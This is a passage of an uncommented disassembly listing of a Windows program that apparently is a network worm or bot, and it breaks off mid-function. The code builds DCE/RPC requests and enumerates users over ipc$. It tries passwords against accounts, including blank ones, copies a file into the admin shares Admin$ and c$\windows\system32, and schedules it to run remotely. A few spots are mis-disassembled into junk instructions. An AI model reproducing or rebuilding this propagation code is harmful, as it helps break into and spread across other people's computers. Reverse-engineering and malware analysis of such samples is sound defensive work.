sub eax, ebx
add ecx, esi
push eax
lea eax, [ecx+ebx]
push eax
push ecx
call sub_40D894
mov esi, [edi+8]
add esp, 0Ch
sub esi, ebx
mov ecx, edi
push 0
push esi
call sub_40D6F3
test al, al
jz short loc_40D88C
push esi
mov ecx, edi
call sub_40D6C3
loc_40D88C: ; CODE XREF: sub_40D82F+2Bj
; sub_40D82F+53j
mov eax, edi
pop edi
pop esi
pop ebx
retn 8
sub_40D82F endp
; =============== S U B R O U T I N E =======================================
sub_40D894 proc near ; CODE XREF: sub_40D82F+3Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41F9A0
add esp, 0Ch
retn
sub_40D894 endp
; =============== S U B R O U T I N E =======================================
sub_40D8A9 proc near ; CODE XREF: sub_40D6F3+5p
; sub_40D8BF+1Ep
call sub_40D9E5
cmp eax, 2
ja short loc_40D8B7
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_40D8B7: ; CODE XREF: sub_40D8A9+8j
add eax, 0FFFFFFFEh
retn
sub_40D8A9 endp
; =============== S U B R O U T I N E =======================================
sub_40D8BB proc near ; CODE XREF: sub_40D5B0+A6p
mov eax, [ecx+0Ch]
retn
sub_40D8BB endp
; =============== S U B R O U T I N E =======================================
sub_40D8BF proc near ; CODE XREF: sub_40D6F3+99p
mov eax, offset loc_437FF4
call sub_41F980
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+8]
mov esi, ecx
mov [ebp-10h], esp
mov [ebp-14h], esi
or edi, 1Fh
call sub_40D8A9
cmp eax, edi
jnb short loc_40D8E9
mov edi, [ebp+8]
loc_40D8E9: ; CODE XREF: sub_40D8BF+25j
and dword ptr [ebp-4], 0
lea eax, [edi+2]
push 0
push eax
mov ecx, esi
call sub_40D9D5
mov [ebp+8], eax
jmp short loc_40D922
; ---------------------------------------------------------------------------
loc_40D8FF: ; DATA XREF: seg001:0043B25Co
mov eax, [ebp+8]
mov ecx, [ebp-14h]
mov [ebp-18h], eax
add eax, 2
push 0
push eax
call sub_40D9D5
mov [ebp+8], eax
mov eax, offset loc_40D91C
retn
; ---------------------------------------------------------------------------
loc_40D91C: ; DATA XREF: sub_40D8BF+57o
mov esi, [ebp-14h]
mov edi, [ebp-18h]
loc_40D922: ; CODE XREF: sub_40D8BF+3Ej
mov eax, [esi+8]
or dword ptr [ebp-4], 0FFFFFFFFh
test eax, eax
jbe short loc_40D944
cmp eax, edi
jbe short loc_40D933
mov eax, edi
loc_40D933: ; CODE XREF: sub_40D8BF+70j
push eax
mov eax, [ebp+8]
push dword ptr [esi+4]
inc eax
push eax
call sub_40D59B
add esp, 0Ch
loc_40D944: ; CODE XREF: sub_40D8BF+6Cj
mov ebx, [esi+8]
push 1
mov ecx, esi
call sub_40D79F
mov eax, [ebp+8]
mov ecx, esi
inc eax
push eax
mov [esi+4], eax
call sub_40D984
and byte ptr [eax], 0
cmp ebx, edi
mov [esi+0Ch], edi
ja short loc_40D96B
mov edi, ebx
loc_40D96B: ; CODE XREF: sub_40D8BF+A8j
push edi
mov ecx, esi
call sub_40D6C3
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_40D8BF endp
; =============== S U B R O U T I N E =======================================
sub_40D984 proc near ; CODE XREF: sub_40D5B0+70p
; sub_40D5B0+B3p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
dec eax
retn 4
sub_40D984 endp
; =============== S U B R O U T I N E =======================================
sub_40D98C proc near ; CODE XREF: sub_40D79F+47p
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41FCE0
pop ecx
retn 8
sub_40D98C endp
; =============== S U B R O U T I N E =======================================
sub_40D999 proc near ; CODE XREF: sub_40D82F+15p
push esi
mov esi, ecx
mov eax, [esi+4]
test eax, eax
jz short loc_40D9D3
push eax
call sub_40D984
cmp byte ptr [eax], 0
jz short loc_40D9D3
push dword ptr [esi+4]
mov ecx, esi
call sub_40D984
cmp byte ptr [eax], 0FFh
jz short loc_40D9D3
push edi
mov edi, [esi+4]
push 1
mov ecx, esi
call sub_40D79F
push edi
mov ecx, esi
call sub_40D6A6
pop edi
loc_40D9D3: ; CODE XREF: sub_40D999+8j
; sub_40D999+13j ...
pop esi
retn
sub_40D999 endp
; =============== S U B R O U T I N E =======================================
sub_40D9D5 proc near ; CODE XREF: sub_40D8BF+36p
; sub_40D8BF+4Fp
arg_0 = dword ptr 4
push 0
push [esp+4+arg_0]
call sub_40D9EC
pop ecx
pop ecx
retn 8
sub_40D9D5 endp
; =============== S U B R O U T I N E =======================================
sub_40D9E5 proc near ; CODE XREF: sub_40D8A9p
or eax, 0FFFFFFFFh
retn
sub_40D9E5 endp
; =============== S U B R O U T I N E =======================================
sub_40D9E9 proc near ; CODE XREF: sub_40D5B0+7Cp
mov al, 1
retn
sub_40D9E9 endp
; =============== S U B R O U T I N E =======================================
sub_40D9EC proc near ; CODE XREF: sub_40D9D5+6p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jge short loc_40D9F6
xor eax, eax
loc_40D9F6: ; CODE XREF: sub_40D9EC+6j
push eax
call sub_41FD90
pop ecx
retn
sub_40D9EC endp
; =============== S U B R O U T I N E =======================================
sub_40D9FE proc near ; CODE XREF: seg000:loc_40D407p
; sub_4377A0+3p
test ds:byte_4EED04, 1
jnz short locret_40DA0E
or ds:byte_4EED04, 1
locret_40DA0E: ; CODE XREF: sub_40D9FE+7j
retn
sub_40D9FE endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DA10 proc near ; CODE XREF: seg000:0040DDDDp
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 24h
push esi
push edi
xor edi, edi
push 20h
lea eax, [ebp+var_24]
push edi
push eax
mov [ebp+var_4], edi
call sub_41D100
mov esi, offset dword_4E2488
push offset dword_446BBC
push esi
call sub_41E550
push [ebp+arg_0]
push esi
call sub_41E560
push offset dword_446BC0
push esi
call sub_41E560
push offset dword_446BC4
push esi
call sub_41E560
add esp, 2Ch
lea eax, [ebp+var_24]
mov [ebp+var_10], esi
mov [ebp+var_20], 1
push edi
push edi
push edi
push eax
mov [ebp+var_14], edi
mov [ebp+var_8], edi
call ds:dword_451598
push ds:dword_44FD20
push [ebp+arg_0]
push ds:dword_4E2588
call sub_41FEE0
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
push 66h
push ds:dword_4E2588
call ds:dword_45142C
test eax, eax
mov esi, offset dword_4E258C
jnz short loc_40DABF
mov eax, [ebp+var_4]
push edi
push edi
push 64h
push esi
push 0FFFFFFFFh
push dword ptr [eax+4]
push edi
push edi
call ds:dword_4F1384 ; WideCharToMultiByte
loc_40DABF: ; CODE XREF: sub_40DA10+98j
cmp [ebp+var_4], edi
jz short loc_40DACD
push [ebp+var_4]
call ds:dword_451580
loc_40DACD: ; CODE XREF: sub_40DA10+B2j
mov eax, esi
pop edi
pop esi
leave
retn
sub_40DA10 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DAD3 proc near ; CODE XREF: sub_40DB71+3Fp
; sub_40DB71:loc_40DBC8p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push edi
push esi
xor edi, edi
call sub_41AC70
test eax, eax
pop ecx
mov [ebp+arg_0], eax
jbe short loc_40DB40
or eax, 0FFFFFFFFh
push ebx
lea edx, [esi+1]
sub eax, esi
loc_40DAF4: ; CODE XREF: sub_40DAD3+6Aj
mov cl, [edx-1]
cmp cl, 30h
jl short loc_40DB09
cmp cl, 39h
jg short loc_40DB09
movsx ecx, cl
sub ecx, 30h
jmp short loc_40DB0F
; ---------------------------------------------------------------------------
loc_40DB09: ; CODE XREF: sub_40DAD3+27j
; sub_40DAD3+2Cj
movsx ecx, cl
sub ecx, 57h
loc_40DB0F: ; CODE XREF: sub_40DAD3+34j
mov bl, [edx]
shl ecx, 4
cmp bl, 30h
jl short loc_40DB27
cmp bl, 39h
jg short loc_40DB27
movsx esi, bl
lea ecx, [ecx+esi-30h]
jmp short loc_40DB2E
; ---------------------------------------------------------------------------
loc_40DB27: ; CODE XREF: sub_40DAD3+44j
; sub_40DAD3+49j
movsx esi, bl
lea ecx, [ecx+esi-57h]
loc_40DB2E: ; CODE XREF: sub_40DAD3+52j
mov esi, [ebp+arg_4]
mov [edi+esi], cl
inc edi
inc edx
inc edx
lea ecx, [eax+edx]
cmp ecx, [ebp+arg_0]
jb short loc_40DAF4
pop ebx
loc_40DB40: ; CODE XREF: sub_40DAD3+16j
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_40DAD3 endp
; =============== S U B R O U T I N E =======================================
sub_40DB46 proc near ; CODE XREF: sub_40DB71+48p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov edx, eax
xor esi, esi
shr edx, 1
jz short loc_40DB6F
push ebx
push edi
mov edi, [esp+0Ch+arg_0]
lea eax, [edi+eax-1]
loc_40DB5D: ; CODE XREF: sub_40DB46+25j
mov bl, [esi+edi]
mov cl, [eax]
mov [eax], bl
mov [esi+edi], cl
inc esi
dec eax
cmp esi, edx
jb short loc_40DB5D
pop edi
pop ebx
loc_40DB6F: ; CODE XREF: sub_40DB46+Bj
pop esi
retn
sub_40DB46 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DB71 proc near ; CODE XREF: sub_40DBFE+69p
; sub_40DBFE+89p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
xor esi, esi
push ebx
mov [ebp+var_4], esi
mov [ebp+var_8], esi
mov edi, ebx
call sub_41AC70
mov [ebp+arg_0], esi
cmp eax, esi
mov esi, [ebp+arg_4]
pop ecx
mov [ebp+var_C], eax
jbe short loc_40DBE9
loc_40DB9B: ; CODE XREF: sub_40DB71+76j
mov eax, [ebp+arg_0]
add eax, ebx
cmp byte ptr [eax], 2Dh
jnz short loc_40DBDE
and byte ptr [eax], 0
cmp [ebp+var_8], 3
push esi
push edi
jnb short loc_40DBC8
call sub_40DAD3
mov edi, eax
push edi
push esi
call sub_40DB46
add esp, 10h
add esi, edi
add [ebp+var_4], edi
jmp short loc_40DBD4
; ---------------------------------------------------------------------------
loc_40DBC8: ; CODE XREF: sub_40DB71+3Dj
call sub_40DAD3
pop ecx
add esi, eax
add [ebp+var_4], eax
pop ecx
loc_40DBD4: ; CODE XREF: sub_40DB71+55j
mov eax, [ebp+arg_0]
inc [ebp+var_8]
lea edi, [eax+ebx+1]
loc_40DBDE: ; CODE XREF: sub_40DB71+32j
inc [ebp+arg_0]
mov eax, [ebp+var_C]
cmp [ebp+arg_0], eax
jb short loc_40DB9B
loc_40DBE9: ; CODE XREF: sub_40DB71+28j
and byte ptr [eax+esi], 0
push esi
push edi
call sub_40DAD3
add eax, [ebp+var_4]
pop ecx
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_40DB71 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DBFE proc near ; CODE XREF: seg000:0040DD98p
var_2C = byte ptr -2Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 2Ch
push ebx
push esi
push edi
push 9
pop ecx
mov esi, offset a8a885d041ceb11 ; "8a885d04-1ceb-11c9-9fe8-08002b104860"
lea edi, [ebp+var_2C]
push 1
rep movsd
push 800h
movsb
call sub_41B250
pop ecx
mov esi, eax
pop ecx
push 1
push [ebp+arg_4]
call sub_41AC70
shr eax, 1
inc eax
pop ecx
inc eax
push eax
call sub_41B250
mov edi, esi
push 1
mov [ebp+var_4], eax
add esi, 10h
xor ebx, ebx
pop eax
mov word ptr [esi], 16D0h
mov word ptr [esi+2], 16D0h
mov [esi+4], ebx
mov [esi+8], eax
mov [esi+0Ch], bx
mov [esi+0Eh], ax
add esi, 10h
push esi
push [ebp+arg_4]
call sub_40DB71
add esi, eax
lea eax, [ebp+arg_8]
push 2
push eax
push esi
call sub_41E840
inc esi
lea eax, [ebp+var_2C]
inc esi
mov [esi], bl
inc esi
mov [esi], bl
inc esi
push esi
push eax
call sub_40DB71
add esi, eax
mov ecx, [ebp+arg_C]
push [ebp+var_4]
mov byte ptr [esi], 2
inc esi
mov [esi], bl
sub esi, edi
inc esi
mov byte ptr [edi], 5
mov [edi+1], bl
mov byte ptr [edi+2], 0Bh
lea eax, [esi+2]
mov byte ptr [edi+3], 3
mov [edi+8], ax
mov eax, [ebp+arg_0]
mov [edi+0Ch], eax
mov dword ptr [edi+4], 10h
movzx eax, si
inc eax
mov [edi+0Ah], bx
inc eax
mov [ecx], eax
call sub_41B8B0
add esp, 28h
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_40DBFE endp
; =============== S U B R O U T I N E =======================================
sub_40DCD9 proc near ; CODE XREF: seg000:0040DE1Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
push esi
call sub_41AC70
pop ecx
mov ecx, [esp+4+arg_0]
lea ecx, [ecx+eax*2-1]
loc_40DCED: ; CODE XREF: sub_40DCD9+25j
mov edx, eax
dec eax
test edx, edx
jz short loc_40DD00
and byte ptr [ecx], 0
mov dl, [eax+esi]
dec ecx
mov [ecx], dl
dec ecx
jmp short loc_40DCED
; ---------------------------------------------------------------------------
loc_40DD00: ; CODE XREF: sub_40DCD9+19j
pop esi
retn
sub_40DCD9 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 1048h
call sub_41DEB0
push ebx
xor ebx, ebx
cmp ds:dword_45142C, ebx
push esi
push edi
jz loc_40DDD2
push 9
mov esi, offset aFdb3a030065f11 ; "fdb3a030-065f-11d1-bb9b-00a024ea5525"
pop ecx
lea edi, [ebp-48h]
rep movsd
movsb
push 1
pop edi
push ebx
push edi
push 2
mov [ebp-4], edi
call ds:dword_451570
mov esi, eax
cmp esi, ebx
mov [ebp-0Ch], esi
jl loc_40DDD2
push dword ptr [ebp+0A8h]
mov word ptr [ebp-20h], 2
call ds:dword_4514F4
mov [ebp-1Eh], ax
lea eax, [ebp+0Ch]
push eax
call ds:dword_451530
mov [ebp-1Ch], eax
push 8
lea eax, [ebp-18h]
push ebx
push eax
call sub_41D100
add esp, 0Ch
lea eax, [ebp-20h]
push 10h
push eax
push esi
call ds:dword_45149C
test eax, eax
jl short loc_40DDD2
lea eax, [ebp-10h]
push eax
lea eax, [ebp-48h]
push edi
push eax
push ebx
call sub_40DBFE
add esp, 10h
mov edi, eax
push ebx
push dword ptr [ebp-10h]
push edi
push esi
call ds:dword_451540
cmp eax, 0FFFFFFFFh
jz short loc_40DDCB
push ebx
lea eax, [ebp-1048h]
push 1000h
push eax
push esi
call ds:dword_4F14E0 ; recv
test eax, eax
jg short loc_40DDD9
loc_40DDCB: ; CODE XREF: seg000:0040DDB1j
push edi
call sub_41B8B0
pop ecx
loc_40DDD2: ; CODE XREF: seg000:0040DD1Aj
; seg000:0040DD45j ...
xor eax, eax
loc_40DDD4: ; CODE XREF: seg000:0040DF6Cj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40DDD9: ; CODE XREF: seg000:0040DDC9j
lea eax, [ebp+0Ch]
push eax
call sub_40DA10
push eax
mov [ebp-8], eax
call sub_41AC70
pop ecx
test eax, eax
pop ecx
jz short loc_40DDD2
mov edi, 104Ch
push edi
call sub_41AE40
mov esi, eax
push edi
push 90h
push esi
call sub_41D100
push 42h
push offset dword_446990
push esi
call sub_41E840
push dword ptr [ebp-8]
lea ebx, [esi+42h]
push ebx
call sub_40DCD9
push dword ptr [ebp-8]
call sub_41AC70
lea ebx, [ebx+eax*2]
push 14h
push offset off_4469D4
push ebx
call sub_41E840
mov ebx, offset dword_4469EC
push 18h
lea eax, [esi+418h]
push ebx
push eax
call sub_41E840
add esp, 40h
lea eax, [esi+830h]
push 18h
push ebx
push eax
call sub_41E840
push 18h
lea eax, [esi+0C48h]
push offset dword_446A08
push eax
call sub_41E840
lea ebx, [esi+1B6h]
push 3Ah
push offset loc_446A24
push ebx
call sub_41E840
push 0FFFFh
push 539h
call sub_41801E
add esp, 2Ch
mov [ebp-8], eax
xor eax, 437h
push eax
call ds:dword_4514F4
push 158h
add ebx, 3Ah
push offset dword_446A60
push ebx
mov ds:word_446B1A, ax
call sub_41E840
and byte ptr [esi+104Ah], 0
and byte ptr [esi+104Bh], 0
push 1
lea eax, [ebp+0Ch]
pop ebx
push ebx
push eax
call sub_417569
add esp, 14h
cmp eax, 2
jnz short loc_40DEEB
mov dword ptr [ebp-4], 8
loc_40DEEB: ; CODE XREF: seg000:0040DEE2j
cmp eax, 3
jnz short loc_40DEF3
mov [ebp-4], ebx
loc_40DEF3: ; CODE XREF: seg000:0040DEEEj
; seg000:0040DF0Dj
mov eax, [ebp-4]
dec dword ptr [ebp-4]
test eax, eax
jz short loc_40DF14
push 0
push edi
push esi
push dword ptr [ebp-0Ch]
call ds:dword_451540
cmp eax, 0FFFFFFFFh
jnz short loc_40DEF3
jmp loc_40DDD2
; ---------------------------------------------------------------------------
loc_40DF14: ; CODE XREF: seg000:0040DEFBj
push dword ptr [ebp-0Ch]
call ds:dword_451588
push 1F4h
call ds:dword_4F12F4 ; Sleep
push esi
call sub_41B8B0
pop ecx
lea esi, [ebp+8]
push dword ptr [ebp-8]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_417E0E
add esp, 0C0h
cmp al, 1
jnz loc_40DDD2
mov eax, [ebp+0B0h]
shl eax, 6
inc ds:dword_4439F8[eax]
lea eax, dword_4439F8[eax]
mov eax, ebx
jmp loc_40DDD4
; ---------------------------------------------------------------------------
loc_40DF71: ; CODE XREF: sub_40E201+37p
push ebp
mov ebp, esp
sub esp, 6F0h
push ebx
push esi
push edi
xor edi, edi
push 20h
lea eax, [ebp-54h]
push edi
push eax
call sub_41D100
add esp, 0Ch
mov esi, [ebp+10h]
lea eax, [ebp-54h]
mov [ebp-40h], esi
push edi
mov dword ptr [ebp-50h], 1
push dword ptr [ebp+8]
mov [ebp-44h], edi
mov [ebp-38h], edi
push dword ptr [ebp+0Ch]
push eax
call ds:dword_451598
test eax, eax
jz short loc_40DFC3
push 0Ah
call ds:dword_4F12F4 ; Sleep
jmp loc_40E1ED
; ---------------------------------------------------------------------------
loc_40DFC3: ; CODE XREF: seg000:0040DFB4j
lea eax, [ebp-2E8h]
push 190h
push eax
push 0FFFFFFFFh
push esi
push edi
push edi
mov dword ptr [ebp-20h], offset aAdminSystem32 ; "Admin$\\system32"
mov dword ptr [ebp-1Ch], offset aCWinntSystem32 ; "c$\\winnt\\system32"
mov dword ptr [ebp-18h], offset aCWindowsSystem
; CODE XREF: seg000:0040E05Bj
; "c$\\windows\\system32"
mov dword ptr [ebp-14h], offset aC_0 ; "c"
mov dword ptr [ebp-10h], offset aD ; "d"
mov [ebp-8], edi
call ds:dword_4F1370 ; MultiByteToWideChar
lea eax, [ebp-8]
push eax
lea eax, [ebp-2E8h]
push eax
call ds:dword_451424
test eax, eax
jnz loc_40E1EA
cmp [ebp-8], edi
jz loc_40E1EA
lea eax, [ebp-20h]
mov [ebp-4], edi
mov [ebp-0Ch], eax
mov esi, offset byte_43CCBC
loc_40E030: ; CODE XREF: seg000:0040E0C9j
mov eax, [ebp-0Ch]
push esi
push dword ptr [eax]
lea eax, [ebp-158h]
push dword ptr [ebp+10h]
push offset aSSS_1 ; "%s\\%s\\%s"
push eax
call sub_41D260
add esp, 14h
lea eax, [ebp-158h]
push edi
push eax
push esi
call near ptr 3D0000h
jg short near ptr loc_40DFE2+6
fdivr dword ptr [ebx]
fbstp tbyte ptr [ebp+7Fh]
call ds:dword_4F1310 ; RtlGetLastWin32Error
cmp eax, 5
jnz short loc_40E0BE
lea eax, [ebp-158h]
push edi
push eax
call sub_420150
pop ecx
test eax, eax
pop ecx
jnz short loc_40E0BE
call sub_41DBA0
push 0Ah
cdq
pop ecx
idiv ecx
lea eax, [ebp-158h]
push eax
mov ebx, edx
add bl, 30h
call sub_41AC70
pop ecx
lea ecx, [ebp-158h]
push edi
sub ecx, 5
mov [eax+ecx], bl
lea eax, [ebp-158h]
push eax
push esi
call near ptr 3D0000h
cwde
mov ebx, eax
cmp ebx, edi
jnz short loc_40E0E1
loc_40E0BE: ; CODE XREF: seg000:0040E06Bj
; seg000:0040E07Ej
inc dword ptr [ebp-4]
add dword ptr [ebp-0Ch], 4
cmp dword ptr [ebp-4], 5
jb loc_40E030
cmp ebx, edi
jnz short loc_40E0E1
push dword ptr [ebp-8]
call ds:dword_451580
jmp loc_40E1ED
; ---------------------------------------------------------------------------
loc_40E0E1: ; CODE XREF: seg000:0040E0BCj
; seg000:0040E0D1j
mov ecx, [ebp-8]
push 3Ch
xor edx, edx
pop ebx
mov eax, [ecx]
push 10h
div ebx
xor edx, edx
push edi
sub eax, [ecx+18h]
mov ecx, 5A0h
inc eax
inc eax
div ecx
lea eax, [ebp-34h]
push eax
mov ebx, edx
call sub_41D100
imul ebx, 0EA60h
add esp, 0Ch
lea eax, [ebp-6F0h]
mov [ebp-34h], ebx
push 208h
push eax
push 0FFFFFFFFh
push esi
push edi
push edi
call ds:dword_4F1370 ; MultiByteToWideChar
lea eax, [ebp-6F0h]
mov [ebp-28h], eax
lea eax, [ebp-24h]
push eax
lea eax, [ebp-34h]
push eax
lea eax, [ebp-2E8h]
push eax
call ds:dword_45146C
test eax, eax
jnz loc_40E1EA
push offset dword_4E25F4
push dword ptr [ebp+0Ch]
call sub_41D900
pop ecx
test eax, eax
pop ecx
mov eax, offset aNoPassword ; "(no password)"
jz short loc_40E16D
mov eax, [ebp+0Ch]
loc_40E16D: ; CODE XREF: seg000:0040E168j
push eax
mov eax, [ebp-4]
push dword ptr [ebp+8]
push dword ptr [ebp+eax*4-20h]
mov eax, [ebp+0BCh]
shl eax, 6
push dword ptr [ebp+10h]
add eax, offset aNetbios ; "NetBios"
push eax
push offset unk_446C78
lea eax, [ebp-4E8h]
push 200h
push eax
call sub_41D360
add esp, 20h
cmp [ebp+0C8h], edi
jnz short loc_40E1C8
push edi
lea eax, [ebp-4E8h]
push dword ptr [ebp+0C4h]
push eax
lea eax, [ebp+28h]
push eax
push dword ptr [ebp+14h]
call sub_40145D
add esp, 14h
loc_40E1C8: ; CODE XREF: seg000:0040E1A9j
lea eax, [ebp-4E8h]
push eax
call sub_4161A7
mov eax, [ebp+0BCh]
pop ecx
shl eax, 6
inc ds:dword_4439F8[eax]
lea eax, dword_4439F8[eax]
loc_40E1EA: ; CODE XREF: seg000:0040E013j
; seg000:0040E01Cj ...
push 1
pop edi
loc_40E1ED: ; CODE XREF: seg000:0040DFBEj
; seg000:0040E0DCj
push 1
push 1
push dword ptr [ebp+10h]
call ds:dword_451558
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_40E201 proc near ; CODE XREF: sub_40E268+137p
; sub_40E268+1B1p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
cmp ds:off_43CE30, 0
push ebx
push esi
push edi
jz short loc_40E25D
mov eax, offset off_43CE30
mov ebx, eax
loc_40E214: ; CODE XREF: sub_40E201+5Aj
sub esp, 0BCh
lea esi, [esp+0C8h+arg_8]
push 2Fh
pop ecx
mov edi, esp
push [esp+0C8h+arg_4]
rep movsd
push dword ptr [eax]
push [esp+0D0h+arg_0]
call loc_40DF71
add esp, 0C8h
cmp eax, 1
jz short loc_40E263
push 0C8h
call ds:dword_4F12F4 ; Sleep
add ebx, 4
mov eax, ebx
cmp dword ptr [ebx], 0
jnz short loc_40E214
loc_40E25D: ; CODE XREF: sub_40E201+Aj
xor eax, eax
loc_40E25F: ; CODE XREF: sub_40E201+65j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40E263: ; CODE XREF: sub_40E201+45j
push 1
pop eax
jmp short loc_40E25F
sub_40E201 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E268 proc near ; CODE XREF: sub_409F32+1E6p
; DATA XREF: seg002:off_4439F4o
var_630 = byte ptr -630h
var_248 = byte ptr -248h
var_11C = byte ptr -11Ch
var_54 = byte ptr -54h
var_50 = dword ptr -50h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 630h
push ebx
push esi
lea eax, [ebp+arg_4]
push edi
push eax
lea eax, [ebp+var_34]
xor ebx, ebx
push offset aS_31 ; "\\\\%s"
push eax
mov [ebp+var_4], ebx
mov [ebp+var_14], ebx
mov [ebp+var_20], ebx
mov [ebp+var_1C], ebx
mov [ebp+var_8], ebx
call sub_41D260
add esp, 0Ch
lea eax, [ebp+var_630]
push 3E8h
push eax
lea eax, [ebp+var_34]
push 0FFFFFFFFh
push eax
push ebx
push ebx
call ds:dword_4F1370 ; MultiByteToWideChar
lea eax, [ebp+var_34]
mov [ebp+var_44], ebx
push eax
lea eax, [ebp+var_11C]
push offset aSIpc ; "%s\\ipc$"
push eax
mov [ebp+var_38], ebx
mov [ebp+var_50], ebx
call sub_41D260
add esp, 0Ch
lea eax, [ebp+var_11C]
mov [ebp+var_40], eax
lea eax, [ebp+var_54]
push ebx
push offset dword_4E25F8
push offset dword_4E25FC
push eax
call ds:dword_451598
test eax, eax
jz short loc_40E30E
push 1
lea eax, [ebp+var_11C]
push ebx
push eax
call ds:dword_451558
xor eax, eax
jmp loc_40E439
; ---------------------------------------------------------------------------
loc_40E30E: ; CODE XREF: sub_40E268+8Dj
; sub_40E268+171j
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 2
lea eax, [ebp+var_630]
push ebx
push eax
call ds:dword_451454
mov [ebp+var_C], eax
push 1
lea eax, [ebp+var_11C]
push ebx
push eax
call ds:dword_451558
cmp [ebp+var_C], ebx
jz short loc_40E351
cmp [ebp+var_C], 0EAh
jnz short loc_40E3C1
loc_40E351: ; CODE XREF: sub_40E268+DEj
mov eax, [ebp+var_4]
cmp eax, ebx
mov [ebp+var_10], eax
jz short loc_40E3D2
cmp [ebp+var_14], ebx
mov [ebp+var_18], ebx
jbe short loc_40E3C1
loc_40E363: ; CODE XREF: sub_40E268+157j
mov eax, [ebp+var_10]
cmp eax, ebx
jz short loc_40E3C1
push ebx
push ebx
lea ecx, [ebp+var_248]
push 12Ch
push ecx
push 0FFFFFFFFh
push dword ptr [eax]
push ebx
push ebx
call ds:dword_4F1384 ; WideCharToMultiByte
sub esp, 0BCh
lea eax, [ebp+var_34]
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
push eax
lea eax, [ebp+var_248]
rep movsd
push eax
call sub_40E201
add esp, 0C4h
cmp eax, 1
jz short loc_40E3C1
add [ebp+var_10], 4
inc [ebp+var_8]
inc [ebp+var_18]
mov eax, [ebp+var_18]
cmp eax, [ebp+var_14]
jb short loc_40E363
loc_40E3C1: ; CODE XREF: sub_40E268+E7j
; sub_40E268+F9j ...
cmp [ebp+var_4], ebx
jz short loc_40E3D2
push [ebp+var_4]
call ds:dword_451580
mov [ebp+var_4], ebx
loc_40E3D2: ; CODE XREF: sub_40E268+F1j
; sub_40E268+15Cj
cmp [ebp+var_C], 0EAh
jz loc_40E30E
cmp [ebp+var_4], ebx
jz short loc_40E3ED
push [ebp+var_4]
call ds:dword_451580
loc_40E3ED: ; CODE XREF: sub_40E268+17Aj
cmp [ebp+var_C], 5
jnz short loc_40E436
cmp ds:off_43CDE0, ebx
jz short loc_40E436
mov eax, offset off_43CDE0
mov [ebp+var_8], eax
loc_40E403: ; CODE XREF: sub_40E268+1CCj
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
lea ecx, [ebp+var_34]
push ecx
push dword ptr [eax]
call sub_40E201
add esp, 0C4h
cmp eax, 1
jz short loc_40E436
mov eax, [ebp+var_8]
add eax, 4
mov [ebp+var_8], eax
cmp [eax], ebx
jnz short loc_40E403
loc_40E436: ; CODE XREF: sub_40E268+189j
; sub_40E268+191j ...
push 1
pop eax
loc_40E439: ; CODE XREF: sub_40E268+A1j
pop edi
pop esi
pop ebx
leave
retn
sub_40E268 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E43E proc near ; CODE XREF: seg000:0040E67Ap
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_4]
lea eax, [esi+esi]
